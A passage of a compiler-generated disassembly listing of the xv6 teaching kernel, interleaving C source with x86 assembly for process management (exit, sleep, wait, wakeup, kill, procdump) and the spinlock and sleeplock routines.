<end_op> curproc->cwd = 0; 80103b05: c7 43 68 00 00 00 00 movl $0x0,0x68(%ebx) acquire(&ptable.lock); 80103b0c: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp) 80103b13: e8 38 06 00 00 call 80104150 <acquire> wakeup1(curproc->parent); 80103b18: 8b 43 14 mov 0x14(%ebx),%eax static void wakeup1(void *chan) { struct proc *p; for(p = ptable.proc; p < &ptable.proc[NPROC]; p++) 80103b1b: ba 54 2d 11 80 mov $0x80112d54,%edx 80103b20: eb 11 jmp 80103b33 <exit+0x83> 80103b22: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80103b28: 83 c2 7c add $0x7c,%edx 80103b2b: 81 fa 54 4c 11 80 cmp $0x80114c54,%edx 80103b31: 74 1d je 80103b50 <exit+0xa0> if(p->state == SLEEPING && p->chan == chan) 80103b33: 83 7a 0c 02 cmpl $0x2,0xc(%edx) 80103b37: 75 ef jne 80103b28 <exit+0x78> 80103b39: 3b 42 20 cmp 0x20(%edx),%eax 80103b3c: 75 ea jne 80103b28 <exit+0x78> p->state = RUNNABLE; 80103b3e: c7 42 0c 03 00 00 00 movl $0x3,0xc(%edx) for(p = ptable.proc; p < &ptable.proc[NPROC]; p++) 80103b45: 83 c2 7c add $0x7c,%edx 80103b48: 81 fa 54 4c 11 80 cmp $0x80114c54,%edx 80103b4e: 75 e3 jne 80103b33 <exit+0x83> p->parent = initproc; 80103b50: a1 b8 a5 10 80 mov 0x8010a5b8,%eax 80103b55: b9 54 2d 11 80 mov $0x80112d54,%ecx 80103b5a: eb 0f jmp 80103b6b <exit+0xbb> 80103b5c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){ 80103b60: 83 c1 7c add $0x7c,%ecx 80103b63: 81 f9 54 4c 11 80 cmp $0x80114c54,%ecx 80103b69: 74 34 je 80103b9f <exit+0xef> if(p->parent == curproc){ 80103b6b: 39 59 14 cmp %ebx,0x14(%ecx) 80103b6e: 75 f0 jne 80103b60 <exit+0xb0> if(p->state == ZOMBIE) 80103b70: 83 79 0c 05 cmpl $0x5,0xc(%ecx) p->parent = initproc; 80103b74: 89 41 14 mov %eax,0x14(%ecx) if(p->state == ZOMBIE) 80103b77: 75 e7 jne 80103b60 <exit+0xb0> 80103b79: ba 54 2d 11 80 mov $0x80112d54,%edx 80103b7e: eb 0b jmp 80103b8b <exit+0xdb> for(p = ptable.proc; p < &ptable.proc[NPROC]; p++) 80103b80: 83 c2 7c add $0x7c,%edx 80103b83: 81 fa 54 4c 11 80 cmp $0x80114c54,%edx 80103b89: 74 d5 je 80103b60 <exit+0xb0> if(p->state == SLEEPING && p->chan == chan) 80103b8b: 83 7a 0c 02 cmpl $0x2,0xc(%edx) 80103b8f: 75 ef jne 80103b80 <exit+0xd0> 80103b91: 3b 42 20 cmp 0x20(%edx),%eax 80103b94: 75 ea jne 80103b80 <exit+0xd0> p->state = RUNNABLE; 80103b96: c7 42 0c 03 00 00 00 movl $0x3,0xc(%edx) 80103b9d: eb e1 jmp 80103b80 <exit+0xd0> curproc->state = ZOMBIE; 80103b9f: c7 43 0c 05 00 00 00 movl $0x5,0xc(%ebx) sched(); 80103ba6: e8 65 fe ff ff call 80103a10 <sched> panic("zombie exit"); 80103bab: c7 04 24 7d 74 10 80 movl $0x8010747d,(%esp) 80103bb2: e8 a9 c7 ff ff call 80100360 <panic> panic("init exiting"); 80103bb7: c7 04 24 70 74 10 80 movl $0x80107470,(%esp) 80103bbe: e8 9d c7 ff ff call 80100360 <panic> 80103bc3: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80103bc9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80103bd0 <yield>: { 80103bd0: 55 push %ebp 80103bd1: 89 e5 mov %esp,%ebp 80103bd3: 83 ec 18 sub $0x18,%esp acquire(&ptable.lock); //DOC: yieldlock 80103bd6: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp) 80103bdd: e8 6e 05 00 00 call 80104150 <acquire> myproc()->state = RUNNABLE; 80103be2: e8 c9 fa ff ff call 801036b0 <myproc> 80103be7: c7 40 0c 03 00 00 00 movl $0x3,0xc(%eax) sched(); 80103bee: e8 1d fe ff ff call 80103a10 <sched> release(&ptable.lock); 80103bf3: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp) 80103bfa: e8 41 06 00 00 call 80104240 <release> } 80103bff: c9 leave 80103c00: c3 ret 80103c01: eb 0d jmp 80103c10 <sleep> 80103c03: 90 nop 80103c04: 90 nop 80103c05: 90 nop 80103c06: 90 nop 80103c07: 90 nop 80103c08: 90 nop 80103c09: 90 nop 80103c0a: 90 nop 80103c0b: 90 nop 80103c0c: 90 nop 80103c0d: 90 nop 80103c0e: 90 nop 80103c0f: 90 nop 80103c10 <sleep>: { 80103c10: 55 push %ebp 80103c11: 89 e5 mov %esp,%ebp 80103c13: 57 push %edi 80103c14: 56 push %esi 80103c15: 53 push %ebx 80103c16: 83 ec 1c sub $0x1c,%esp 80103c19: 8b 7d 08 mov 0x8(%ebp),%edi 80103c1c: 8b 75 0c mov 0xc(%ebp),%esi struct proc *p = myproc(); 80103c1f: e8 8c fa ff ff call 801036b0 <myproc> if(p == 0) 80103c24: 85 c0 test %eax,%eax struct proc *p = myproc(); 80103c26: 89 c3 mov %eax,%ebx if(p == 0) 80103c28: 0f 84 7c 00 00 00 je 80103caa <sleep+0x9a> if(lk == 0) 80103c2e: 85 f6 test %esi,%esi 80103c30: 74 6c je 80103c9e <sleep+0x8e> if(lk != &ptable.lock){ //DOC: sleeplock0 80103c32: 81 fe 20 2d 11 80 cmp $0x80112d20,%esi 80103c38: 74 46 je 80103c80 <sleep+0x70> acquire(&ptable.lock); //DOC: sleeplock1 80103c3a: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp) 80103c41: e8 0a 05 00 00 call 80104150 <acquire> release(lk); 80103c46: 89 34 24 mov %esi,(%esp) 80103c49: e8 f2 05 00 00 call 80104240 <release> p->chan = chan; 80103c4e: 89 7b 20 mov %edi,0x20(%ebx) p->state = SLEEPING; 80103c51: c7 43 0c 02 00 00 00 movl $0x2,0xc(%ebx) sched(); 80103c58: e8 b3 fd ff ff call 80103a10 <sched> p->chan = 0; 80103c5d: c7 43 20 00 00 00 00 movl $0x0,0x20(%ebx) release(&ptable.lock); 80103c64: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp) 80103c6b: e8 d0 05 00 00 call 80104240 <release> acquire(lk); 80103c70: 89 75 08 mov %esi,0x8(%ebp) } 80103c73: 83 c4 1c add $0x1c,%esp 80103c76: 5b pop %ebx 80103c77: 5e pop %esi 80103c78: 5f pop %edi 80103c79: 5d pop %ebp acquire(lk); 80103c7a: e9 d1 04 00 00 jmp 80104150 <acquire> 80103c7f: 90 nop p->chan = chan; 80103c80: 89 78 20 mov %edi,0x20(%eax) p->state = SLEEPING; 80103c83: c7 40 0c 02 00 00 00 movl $0x2,0xc(%eax) sched(); 80103c8a: e8 81 fd ff ff call 80103a10 <sched> p->chan = 0; 80103c8f: c7 43 20 00 00 00 00 movl $0x0,0x20(%ebx) } 80103c96: 83 c4 1c add $0x1c,%esp 80103c99: 5b pop %ebx 80103c9a: 5e pop %esi 80103c9b: 5f pop %edi 80103c9c: 5d pop %ebp 80103c9d: c3 ret panic("sleep without lk"); 80103c9e: c7 04 24 8f 74 10 80 movl $0x8010748f,(%esp) 80103ca5: e8 b6 c6 ff ff call 80100360 <panic> panic("sleep"); 80103caa: c7 04 24 89 74 10 80 movl $0x80107489,(%esp) 80103cb1: e8 aa c6 ff ff call 80100360 <panic> 80103cb6: 8d 76 00 lea 0x0(%esi),%esi 80103cb9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80103cc0 <wait>: { 80103cc0: 55 push %ebp 80103cc1: 89 e5 mov %esp,%ebp 80103cc3: 56 push %esi 80103cc4: 53 push %ebx 80103cc5: 83 ec 10 sub $0x10,%esp struct proc *curproc = myproc(); 80103cc8: e8 e3 f9 ff ff call 801036b0 <myproc> acquire(&ptable.lock); 80103ccd: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp) struct proc *curproc = myproc(); 80103cd4: 89 c6 mov %eax,%esi acquire(&ptable.lock); 80103cd6: e8 75 04 00 00 call 80104150 <acquire> havekids = 0; 80103cdb: 31 c0 xor %eax,%eax for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){ 80103cdd: bb 54 2d 11 80 mov $0x80112d54,%ebx 80103ce2: eb 0f jmp 80103cf3 <wait+0x33> 80103ce4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80103ce8: 83 c3 7c add $0x7c,%ebx 80103ceb: 81 fb 54 4c 11 80 cmp $0x80114c54,%ebx 80103cf1: 74 1d je 80103d10 <wait+0x50> if(p->parent != curproc) 80103cf3: 39 73 14 cmp %esi,0x14(%ebx) 80103cf6: 75 f0 jne 80103ce8 <wait+0x28> if(p->state == ZOMBIE){ 80103cf8: 83 7b 0c 05 cmpl $0x5,0xc(%ebx) 80103cfc: 74 2f je 80103d2d <wait+0x6d> for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){ 80103cfe: 83 c3 7c add $0x7c,%ebx havekids = 1; 80103d01: b8 01 00 00 00 mov $0x1,%eax for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){ 80103d06: 81 fb 54 4c 11 80 cmp $0x80114c54,%ebx 80103d0c: 75 e5 jne 80103cf3 <wait+0x33> 80103d0e: 66 90 xchg %ax,%ax if(!havekids || curproc->killed){ 80103d10: 85 c0 test %eax,%eax 80103d12: 74 6e je 80103d82 <wait+0xc2> 80103d14: 8b 46 24 mov 0x24(%esi),%eax 80103d17: 85 c0 test %eax,%eax 80103d19: 75 67 jne 80103d82 <wait+0xc2> sleep(curproc, &ptable.lock); //DOC: wait-sleep 80103d1b: c7 44 24 04 20 2d 11 movl $0x80112d20,0x4(%esp) 80103d22: 80 80103d23: 89 34 24 mov %esi,(%esp) 80103d26: e8 e5 fe ff ff call 80103c10 <sleep> } 80103d2b: eb ae jmp 80103cdb <wait+0x1b> kfree(p->kstack); 80103d2d: 8b 43 08 mov 0x8(%ebx),%eax pid = p->pid; 80103d30: 8b 73 10 mov 0x10(%ebx),%esi kfree(p->kstack); 80103d33: 89 04 24 mov %eax,(%esp) 80103d36: e8 c5 e5 ff ff call 80102300 <kfree> freevm(p->pgdir); 80103d3b: 8b 43 04 mov 0x4(%ebx),%eax p->kstack = 0; 80103d3e: c7 43 08 00 00 00 00 movl $0x0,0x8(%ebx) freevm(p->pgdir); 80103d45: 89 04 24 mov %eax,(%esp) 80103d48: e8 23 2c 00 00 call 80106970 <freevm> release(&ptable.lock); 80103d4d: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp) p->pid = 0; 80103d54: c7 43 10 00 00 00 00 movl $0x0,0x10(%ebx) p->parent = 0; 80103d5b: c7 43 14 00 00 00 00 movl $0x0,0x14(%ebx) p->name[0] = 0; 80103d62: c6 43 6c 00 movb $0x0,0x6c(%ebx) p->killed = 0; 80103d66: c7 43 24 00 00 00 00 movl $0x0,0x24(%ebx) p->state = UNUSED; 80103d6d: c7 43 0c 00 00 00 00 movl $0x0,0xc(%ebx) release(&ptable.lock); 80103d74: e8 c7 04 00 00 call 80104240 <release> } 80103d79: 83 c4 10 add $0x10,%esp return pid; 80103d7c: 89 f0 mov %esi,%eax } 80103d7e: 5b pop %ebx 80103d7f: 5e pop %esi 80103d80: 5d pop %ebp 80103d81: c3 ret release(&ptable.lock); 80103d82: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp) 80103d89: e8 b2 04 00 00 call 80104240 <release> } 80103d8e: 83 c4 10 add $0x10,%esp return -1; 80103d91: b8 ff ff ff ff mov $0xffffffff,%eax } 80103d96: 5b pop %ebx 80103d97: 5e pop %esi 80103d98: 5d pop %ebp 80103d99: c3 ret 80103d9a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80103da0 <wakeup>: } // Wake up all processes sleeping on chan. void wakeup(void *chan) { 80103da0: 55 push %ebp 80103da1: 89 e5 mov %esp,%ebp 80103da3: 53 push %ebx 80103da4: 83 ec 14 sub $0x14,%esp 80103da7: 8b 5d 08 mov 0x8(%ebp),%ebx acquire(&ptable.lock); 80103daa: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp) 80103db1: e8 9a 03 00 00 call 80104150 <acquire> for(p = ptable.proc; p < &ptable.proc[NPROC]; p++) 80103db6: b8 54 2d 11 80 mov $0x80112d54,%eax 80103dbb: eb 0d jmp 80103dca <wakeup+0x2a> 80103dbd: 8d 76 00 lea 0x0(%esi),%esi 80103dc0: 83 c0 7c add $0x7c,%eax 80103dc3: 3d 54 4c 11 80 cmp $0x80114c54,%eax 80103dc8: 74 1e je 80103de8 <wakeup+0x48> if(p->state == SLEEPING && p->chan == chan) 80103dca: 83 78 0c 02 cmpl $0x2,0xc(%eax) 80103dce: 75 f0 jne 80103dc0 <wakeup+0x20> 80103dd0: 3b 58 20 cmp 0x20(%eax),%ebx 80103dd3: 75 eb jne 80103dc0 <wakeup+0x20> p->state = RUNNABLE; 80103dd5: c7 40 0c 03 00 00 00 movl $0x3,0xc(%eax) for(p = ptable.proc; p < &ptable.proc[NPROC]; p++) 80103ddc: 83 c0 7c add $0x7c,%eax 80103ddf: 3d 54 4c 11 80 cmp $0x80114c54,%eax 80103de4: 75 e4 jne 80103dca <wakeup+0x2a> 80103de6: 66 90 xchg %ax,%ax wakeup1(chan); release(&ptable.lock); 80103de8: c7 45 08 20 2d 11 80 movl $0x80112d20,0x8(%ebp) } 80103def: 83 c4 14 add $0x14,%esp 80103df2: 5b pop %ebx 80103df3: 5d pop %ebp release(&ptable.lock); 80103df4: e9 47 04 00 00 jmp 80104240 <release> 80103df9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80103e00 <kill>: // Kill the process with the given pid. // Process won't exit until it returns // to user space (see trap in trap.c). int kill(int pid) { 80103e00: 55 push %ebp 80103e01: 89 e5 mov %esp,%ebp 80103e03: 53 push %ebx 80103e04: 83 ec 14 sub $0x14,%esp 80103e07: 8b 5d 08 mov 0x8(%ebp),%ebx struct proc *p; acquire(&ptable.lock); 80103e0a: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp) 80103e11: e8 3a 03 00 00 call 80104150 <acquire> for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){ 80103e16: b8 54 2d 11 80 mov $0x80112d54,%eax 80103e1b: eb 0d jmp 80103e2a <kill+0x2a> 80103e1d: 8d 76 00 lea 0x0(%esi),%esi 80103e20: 83 c0 7c add $0x7c,%eax 80103e23: 3d 54 4c 11 80 cmp $0x80114c54,%eax 80103e28: 74 36 je 80103e60 <kill+0x60> if(p->pid == pid){ 80103e2a: 39 58 10 cmp %ebx,0x10(%eax) 80103e2d: 75 f1 jne 80103e20 <kill+0x20> p->killed = 1; // Wake process from sleep if necessary. if(p->state == SLEEPING) 80103e2f: 83 78 0c 02 cmpl $0x2,0xc(%eax) p->killed = 1; 80103e33: c7 40 24 01 00 00 00 movl $0x1,0x24(%eax) if(p->state == SLEEPING) 80103e3a: 74 14 je 80103e50 <kill+0x50> p->state = RUNNABLE; release(&ptable.lock); 80103e3c: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp) 80103e43: e8 f8 03 00 00 call 80104240 <release> return 0; } } release(&ptable.lock); return -1; } 80103e48: 83 c4 14 add $0x14,%esp return 0; 80103e4b: 31 c0 xor %eax,%eax } 80103e4d: 5b pop %ebx 80103e4e: 5d pop %ebp 80103e4f: c3 ret p->state = RUNNABLE; 80103e50: c7 40 0c 03 00 00 00 movl $0x3,0xc(%eax) 80103e57: eb e3 jmp 80103e3c <kill+0x3c> 80103e59: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi release(&ptable.lock); 80103e60: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp) 80103e67: e8 d4 03 00 00 call 80104240 <release> } 80103e6c: 83 c4 14 add $0x14,%esp return -1; 80103e6f: b8 ff ff ff ff mov $0xffffffff,%eax } 80103e74: 5b pop %ebx 80103e75: 5d pop %ebp 80103e76: c3 ret 80103e77: 89 f6 mov %esi,%esi 80103e79: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80103e80 <procdump>: // Print a process listing to console. For debugging. // Runs when user types ^P on console. // No lock to avoid wedging a stuck machine further. void procdump(void) { 80103e80: 55 push %ebp 80103e81: 89 e5 mov %esp,%ebp 80103e83: 57 push %edi 80103e84: 56 push %esi 80103e85: 53 push %ebx 80103e86: bb c0 2d 11 80 mov $0x80112dc0,%ebx 80103e8b: 83 ec 4c sub $0x4c,%esp 80103e8e: 8d 75 e8 lea -0x18(%ebp),%esi 80103e91: eb 20 jmp 80103eb3 <procdump+0x33> 80103e93: 90 nop 80103e94: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi if(p->state == SLEEPING){ getcallerpcs((uint*)p->context->ebp+2, pc); for(i=0; i<10 && pc[i] != 0; i++) cprintf(" %p", pc[i]); } cprintf("\n"); 80103e98: c7 04 24 1f 78 10 80 movl $0x8010781f,(%esp) 80103e9f: e8 ac c7 ff ff call 80100650 <cprintf> 80103ea4: 83 c3 7c add $0x7c,%ebx for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){ 80103ea7: 81 fb c0 4c 11 80 cmp $0x80114cc0,%ebx 80103ead: 0f 84 8d 00 00 00 je 80103f40 <procdump+0xc0> if(p->state == UNUSED) 80103eb3: 8b 43 a0 mov -0x60(%ebx),%eax 80103eb6: 85 c0 test %eax,%eax 80103eb8: 74 ea je 80103ea4 <procdump+0x24> if(p->state >= 0 && p->state < NELEM(states) && states[p->state]) 80103eba: 83 f8 05 cmp $0x5,%eax state = "???"; 80103ebd: ba a0 74 10 80 mov $0x801074a0,%edx if(p->state >= 0 && p->state < NELEM(states) && states[p->state]) 80103ec2: 77 11 ja 80103ed5 <procdump+0x55> 80103ec4: 8b 14 85 00 75 10 80 mov -0x7fef8b00(,%eax,4),%edx state = "???"; 80103ecb: b8 a0 74 10 80 mov $0x801074a0,%eax 80103ed0: 85 d2 test %edx,%edx 80103ed2: 0f 44 d0 cmove %eax,%edx cprintf("%d %s %s", p->pid, state, p->name); 80103ed5: 8b 43 a4 mov -0x5c(%ebx),%eax 80103ed8: 89 5c 24 0c mov %ebx,0xc(%esp) 80103edc: 89 54 24 08 mov %edx,0x8(%esp) 80103ee0: c7 04 24 a4 74 10 80 movl $0x801074a4,(%esp) 80103ee7: 89 44 24 04 mov %eax,0x4(%esp) 80103eeb: e8 60 c7 ff ff call 80100650 <cprintf> if(p->state == SLEEPING){ 80103ef0: 83 7b a0 02 cmpl $0x2,-0x60(%ebx) 80103ef4: 75 a2 jne 80103e98 <procdump+0x18> getcallerpcs((uint*)p->context->ebp+2, pc); 80103ef6: 8d 45 c0 lea -0x40(%ebp),%eax 80103ef9: 89 44 24 04 mov %eax,0x4(%esp) 80103efd: 8b 43 b0 mov -0x50(%ebx),%eax 80103f00: 8d 7d c0 lea -0x40(%ebp),%edi 80103f03: 8b 40 0c mov 0xc(%eax),%eax 80103f06: 83 c0 08 add $0x8,%eax 80103f09: 89 04 24 mov %eax,(%esp) 80103f0c: e8 6f 01 00 00 call 80104080 <getcallerpcs> 80103f11: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi for(i=0; i<10 && pc[i] != 0; i++) 80103f18: 8b 17 mov (%edi),%edx 80103f1a: 85 d2 test %edx,%edx 80103f1c: 0f 84 76 ff ff ff je 80103e98 <procdump+0x18> cprintf(" %p", pc[i]); 80103f22: 89 54 24 04 mov %edx,0x4(%esp) 80103f26: 83 c7 04 add $0x4,%edi 80103f29: c7 04 24 e1 6e 10 80 movl $0x80106ee1,(%esp) 80103f30: e8 1b c7 ff ff call 80100650 <cprintf> for(i=0; i<10 && pc[i] != 0; i++) 80103f35: 39 f7 cmp %esi,%edi 80103f37: 75 df jne 80103f18 <procdump+0x98> 80103f39: e9 5a ff ff ff jmp 80103e98 <procdump+0x18> 80103f3e: 66 90 xchg %ax,%ax } } 80103f40: 83 c4 4c add $0x4c,%esp 80103f43: 5b pop %ebx 80103f44: 5e pop %esi 80103f45: 5f pop %edi 80103f46: 5d pop %ebp 80103f47: c3 ret 80103f48: 66 90 xchg %ax,%ax 80103f4a: 66 90 xchg %ax,%ax 80103f4c: 66 90 xchg %ax,%ax 80103f4e: 66 90 xchg %ax,%ax 80103f50 <initsleeplock>: #include "spinlock.h" #include "sleeplock.h" void initsleeplock(struct sleeplock *lk, char *name) { 80103f50: 55 push %ebp 80103f51: 89 e5 mov %esp,%ebp 80103f53: 53 push %ebx 80103f54: 83 ec 14 sub $0x14,%esp 80103f57: 8b 5d 08 mov 0x8(%ebp),%ebx initlock(&lk->lk, "sleep lock"); 80103f5a: c7 44 24 04 18 75 10 movl $0x80107518,0x4(%esp) 80103f61: 80 80103f62: 8d 43 04 lea 0x4(%ebx),%eax 80103f65: 89 04 24 mov %eax,(%esp) 80103f68: e8 f3 00 00 00 call 80104060 <initlock> lk->name = name; 80103f6d: 8b 45 0c mov 0xc(%ebp),%eax lk->locked = 0; 80103f70: c7 03 00 00 00 00 movl $0x0,(%ebx) lk->pid = 0; 80103f76: c7 43 3c 00 00 00 00 movl $0x0,0x3c(%ebx) lk->name = name; 80103f7d: 89 43 38 mov %eax,0x38(%ebx) } 80103f80: 83 c4 14 add $0x14,%esp 80103f83: 5b pop %ebx 80103f84: 5d pop %ebp 80103f85: c3 ret 80103f86: 8d 76 00 lea 0x0(%esi),%esi 80103f89: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80103f90 <acquiresleep>: void acquiresleep(struct sleeplock *lk) { 80103f90: 55 push %ebp 80103f91: 89 e5 mov %esp,%ebp 80103f93: 56 push %esi 80103f94: 53 push %ebx 80103f95: 83 ec 10 sub $0x10,%esp 80103f98: 8b 5d 08 mov 0x8(%ebp),%ebx acquire(&lk->lk); 80103f9b: 8d 73 04 lea 0x4(%ebx),%esi 80103f9e: 89 34 24 mov %esi,(%esp) 80103fa1: e8 aa 01 00 00 call 80104150 <acquire> while (lk->locked) { 80103fa6: 8b 13 mov (%ebx),%edx 80103fa8: 85 d2 test %edx,%edx 80103faa: 74 16 je 80103fc2 <acquiresleep+0x32> 80103fac: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi sleep(lk, &lk->lk); 80103fb0: 89 74 24 04 mov %esi,0x4(%esp) 80103fb4: 89 1c 24 mov %ebx,(%esp) 80103fb7: e8 54 fc ff ff call 80103c10 <sleep> while (lk->locked) { 80103fbc: 8b 03 mov (%ebx),%eax 80103fbe: 85 c0 test %eax,%eax 80103fc0: 75 ee jne 80103fb0 <acquiresleep+0x20> } lk->locked = 1; 80103fc2: c7 03 01 00 00 00 movl $0x1,(%ebx) lk->pid = myproc()->pid; 80103fc8: e8 e3 f6 ff ff call 801036b0 <myproc> 80103fcd: 8b 40 10 mov 0x10(%eax),%eax 80103fd0: 89 43 3c mov %eax,0x3c(%ebx) release(&lk->lk); 80103fd3: 89 75 08 mov %esi,0x8(%ebp) } 80103fd6: 83 c4 10 add $0x10,%esp 80103fd9: 5b pop %ebx 80103fda: 5e pop %esi 80103fdb: 5d pop %ebp release(&lk->lk); 80103fdc: e9 5f 02 00 00 jmp 80104240 <release> 80103fe1: eb 0d jmp 80103ff0 <releasesleep> 80103fe3: 90 nop 80103fe4: 90 nop 80103fe5: 90 nop 80103fe6: 90 nop 80103fe7: 90 nop 80103fe8: 90 nop 80103fe9: 90 nop 80103fea: 90 nop 80103feb: 90 nop 80103fec: 90 nop 80103fed: 90 nop 80103fee: 90 nop 80103fef: 90 nop 80103ff0 <releasesleep>: void releasesleep(struct sleeplock *lk) { 80103ff0: 55 push %ebp 80103ff1: 89 e5 mov %esp,%ebp 80103ff3: 56 push %esi 80103ff4: 53 push %ebx 80103ff5: 83 ec 10 sub $0x10,%esp 80103ff8: 8b 5d 08 mov 0x8(%ebp),%ebx acquire(&lk->lk); 80103ffb: 8d 73 04 lea 0x4(%ebx),%esi 80103ffe: 89 34 24 mov %esi,(%esp) 80104001: e8 4a 01 00 00 call 80104150 <acquire> lk->locked = 0; 80104006: c7 03 00 00 00 00 movl $0x0,(%ebx) lk->pid = 0; 8010400c: c7 43 3c 00 00 00 00 movl $0x0,0x3c(%ebx) wakeup(lk); 80104013: 89 1c 24 mov %ebx,(%esp) 80104016: e8 85 fd ff ff call 80103da0 <wakeup> release(&lk->lk); 8010401b: 89 75 08 mov %esi,0x8(%ebp) } 8010401e: 83 c4 10 add $0x10,%esp 80104021: 5b pop %ebx 80104022: 5e pop %esi 80104023: 5d pop %ebp release(&lk->lk); 80104024: e9 17 02 00 00 jmp 80104240 <release> 80104029: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80104030 <holdingsleep>: int holdingsleep(struct sleeplock *lk) { 80104030: 55 push %ebp 80104031: 89 e5 mov %esp,%ebp 80104033: 56 push %esi 80104034: 53 push %ebx 80104035: 83 ec 10 sub $0x10,%esp 80104038: 8b 5d 08 mov 0x8(%ebp),%ebx int r; acquire(&lk->lk); 8010403b: 8d 73 04 lea 0x4(%ebx),%esi 8010403e: 89 34 24 mov %esi,(%esp) 80104041: e8 0a 01 00 00 call 80104150 <acquire> r = lk->locked; 80104046: 8b 1b mov (%ebx),%ebx release(&lk->lk); 80104048: 89 34 24 mov %esi,(%esp) 8010404b: e8 f0 01 00 00 call 80104240 <release> return r; } 80104050: 83 c4 10 add $0x10,%esp 80104053: 89 d8 mov %ebx,%eax 80104055: 5b pop %ebx 80104056: 5e pop %esi 80104057: 5d pop %ebp 80104058: c3 ret 80104059: 66 90 xchg %ax,%ax 8010405b: 66 90 xchg %ax,%ax 8010405d: 66 90 xchg %ax,%ax 8010405f: 90 nop 80104060 <initlock>: #include "proc.h" #include "spinlock.h" void initlock(struct spinlock *lk, char *name) { 80104060: 55 push %ebp 80104061: 89 e5 mov %esp,%ebp 80104063: 8b 45 08 mov 0x8(%ebp),%eax lk->name = name; 80104066: 8b 55 0c mov 0xc(%ebp),%edx lk->locked = 0; 80104069: c7 00 00 00 00 00 movl $0x0,(%eax) lk->name = name; 8010406f: 89 50 04 mov %edx,0x4(%eax) lk->cpu = 0; 80104072: c7 40 08 00 00 00 00 movl $0x0,0x8(%eax) } 80104079: 5d pop %ebp 8010407a: c3 ret 8010407b: 90 nop 8010407c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80104080 <getcallerpcs>: } // Record the current call stack in pcs[] by following the %ebp chain. void getcallerpcs(void *v, uint pcs[]) { 80104080: 55 push %ebp 80104081: 89 e5 mov %esp,%ebp uint *ebp; int i; ebp = (uint*)v - 2; 80104083: 8b 45 08 mov 0x8(%ebp),%eax { 80104086: 8b 4d 0c mov 0xc(%ebp),%ecx 80104089: 53 push %ebx ebp = (uint*)v - 2; 8010408a: 8d 50 f8 lea -0x8(%eax),%edx for(i = 0; i < 10; i++){ 8010408d: 31 c0 xor %eax,%eax 8010408f: 90 nop if(ebp == 0 || ebp < (uint*)KERNBASE || ebp == (uint*)0xffffffff) 80104090: 8d 9a 00 00 00 80 lea -0x80000000(%edx),%ebx 80104096: 81 fb fe ff ff 7f cmp $0x7ffffffe,%ebx 8010409c: 77 1a ja 801040b8 <getcallerpcs+0x38> break; pcs[i] = ebp[1]; // saved %eip 8010409e: 8b 5a 04 mov 0x4(%edx),%ebx 801040a1: 89 1c 81 mov %ebx,(%ecx,%eax,4) for(i = 0; i < 10; i++){ 801040a4: 83 c0 01 add $0x1,%eax ebp = (uint*)ebp[0]; // saved %ebp 801040a7: 8b 12 mov (%edx),%edx for(i = 0; i < 10; i++){ 801040a9: 83 f8 0a cmp $0xa,%eax 801040ac: 75 e2 jne 80104090 <getcallerpcs+0x10> } for(; i < 10; i++) pcs[i] = 0; } 801040ae: 5b pop %ebx 801040af: 5d pop %ebp 801040b0: c3 ret 801040b1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi pcs[i] = 0; 801040b8: c7 04 81 00 00 00 00 movl $0x0,(%ecx,%eax,4) for(; i < 10; i++) 801040bf: 83 c0 01 add $0x1,%eax 801040c2: 83 f8 0a cmp $0xa,%eax 801040c5: 74 e7 je 801040ae <getcallerpcs+0x2e> pcs[i] = 0; 801040c7: c7 04 81 00 00 00 00 movl $0x0,(%ecx,%eax,4) for(; i < 10; i++) 801040ce: 83 c0 01 add $0x1,%eax 801040d1: 83 f8 0a cmp $0xa,%eax 801040d4: 75 e2 jne 801040b8 <getcallerpcs+0x38> 801040d6: eb d6 jmp 801040ae <getcallerpcs+0x2e> 801040d8: 90 nop 801040d9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 801040e0 <holding>: // Check whether this cpu is holding the lock. int holding(struct spinlock *lock) { 801040e0: 55 push %ebp return lock->locked && lock->cpu == mycpu(); 801040e1: 31 c0 xor %eax,%eax { 801040e3: 89 e5 mov %esp,%ebp 801040e5: 53 push %ebx 801040e6: 83 ec 04 sub $0x4,%esp 801040e9: 8b 55 08 mov 0x8(%ebp),%edx return lock->locked && lock->cpu == mycpu(); 801040ec: 8b 0a mov (%edx),%ecx 801040ee: 85 c9 test %ecx,%ecx 801040f0: 74 10 je 80104102 <holding+0x22> 801040f2: 8b 5a 08 mov 0x8(%edx),%ebx 801040f5: e8 16 f5 ff ff call 80103610 <mycpu> 801040fa: 39 c3 cmp %eax,%ebx 801040fc: 0f 94 c0 sete %al 801040ff: 0f b6 c0 